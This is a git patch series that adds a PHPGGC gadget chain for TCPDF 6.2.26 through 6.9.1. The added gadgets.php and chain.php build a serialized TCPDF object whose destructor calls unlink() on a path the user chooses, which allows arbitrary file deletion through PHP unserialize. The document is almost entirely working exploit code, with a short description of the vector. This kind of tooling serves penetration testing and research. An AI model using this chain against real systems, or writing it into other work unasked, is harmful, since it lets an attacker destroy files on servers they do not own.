From fbb4386bbac7b9ccc5595b4eba8d134a4c9a8d67 Mon Sep 17 00:00:00 2001
From: 012git012 <100608357+012git012@users.noreply.github.com>
Date: Wed, 23 Apr 2025 15:04:46 +0300
Subject: [PATCH 1/5] Create 2

---
 gadgetchains/TCPDF/FD/2 | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 gadgetchains/TCPDF/FD/2

diff --git a/gadgetchains/TCPDF/FD/2 b/gadgetchains/TCPDF/FD/2
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/gadgetchains/TCPDF/FD/2
@@ -0,0 +1 @@
+

From 65a9465e2ae843c61f9a36594c4a9eab35fc09fc Mon Sep 17 00:00:00 2001
From: 012git012 <100608357+012git012@users.noreply.github.com>
Date: Wed, 23 Apr 2025 15:07:32 +0300
Subject: [PATCH 2/5] Delete gadgetchains/TCPDF/FD/2

---
 gadgetchains/TCPDF/FD/2 | 1 -
 1 file changed, 1 deletion(-)
 delete mode 100644 gadgetchains/TCPDF/FD/2

diff --git a/gadgetchains/TCPDF/FD/2 b/gadgetchains/TCPDF/FD/2
deleted file mode 100644
index 8b137891..00000000
--- a/gadgetchains/TCPDF/FD/2
+++ /dev/null
@@ -1 +0,0 @@
-

From 5f1d8e7b8a580bb49bfea430d70c38b23c02e981 Mon Sep 17 00:00:00 2001
From: 012git012 <100608357+012git012@users.noreply.github.com>
Date: Wed, 23 Apr 2025 15:09:55 +0300
Subject: [PATCH 3/5] Create gadgets.php

---
 gadgetchains/TCPDF/FD/2/gadgets.php | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 gadgetchains/TCPDF/FD/2/gadgets.php

diff --git a/gadgetchains/TCPDF/FD/2/gadgets.php b/gadgetchains/TCPDF/FD/2/gadgets.php
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/gadgetchains/TCPDF/FD/2/gadgets.php
@@ -0,0 +1 @@
+

From f725a8b21779a090293331278626aff4373d7e8c Mon Sep 17 00:00:00 2001
From: 012git012 <100608357+012git012@users.noreply.github.com>
Date: Wed, 23 Apr 2025 15:10:33 +0300
Subject: [PATCH 4/5] Update gadgets.php

---
 gadgetchains/TCPDF/FD/2/gadgets.php | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/gadgetchains/TCPDF/FD/2/gadgets.php b/gadgetchains/TCPDF/FD/2/gadgets.php
index 8b137891..c07a8077 100644
--- a/gadgetchains/TCPDF/FD/2/gadgets.php
+++ b/gadgetchains/TCPDF/FD/2/gadgets.php
@@ -1 +1,12 @@
+<?php
 
+class TCPDF
+{
+    public $file_id;
+    public $imagekeys;
+
+    function __construct($remote_path) {
+        $this->file_id = 1;
+        $this->imagekeys = ['/tmp/..' . $remote_path];
+    }
+}

From d5679365879dcf6a83f06a7c91dbc35ce797d0ed Mon Sep 17 00:00:00 2001
From: 012git012 <100608357+012git012@users.noreply.github.com>
Date: Wed, 23 Apr 2025 15:11:30 +0300
Subject: [PATCH 5/5] Create chain.php

---
 gadgetchains/TCPDF/FD/2/chain.php | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)
 create mode 100644 gadgetchains/TCPDF/FD/2/chain.php

diff --git a/gadgetchains/TCPDF/FD/2/chain.php b/gadgetchains/TCPDF/FD/2/chain.php
new file mode 100644
index 00000000..7c49e091
--- /dev/null
+++ b/gadgetchains/TCPDF/FD/2/chain.php
@@ -0,0 +1,20 @@
+<?php
+
+namespace GadgetChain\TCPDF;
+
+class FD2 extends \PHPGGC\GadgetChain\FileDelete
+{
+    public static $version = '6.2.26 <= 6.9.1';
+    public static $vector = '__destruct';
+    public static $author = 'Aleksey Solovev, Nikita Sveshnikov (Positive Technologies)';
+    public static $information = '
+        TCPDF contains the properties $file_id and $image keys. The imagekeys property expects an array of strings, each representing an absolute file path. The $file_id property can be set to any value. Upon __destruct, unlink() is called on each entry in the imagekeys array, provided PHP has permission to delete the files.
+
+        Although absolute paths are expected, each entry is internally prefixed with /tmp/.., allowing access to arbitrary locations outside the /tmp directory.
+    ';
+
+    public function generate(array $parameters)
+    {
+        return new \TCPDF($parameters['remote_path']);
+    }
+}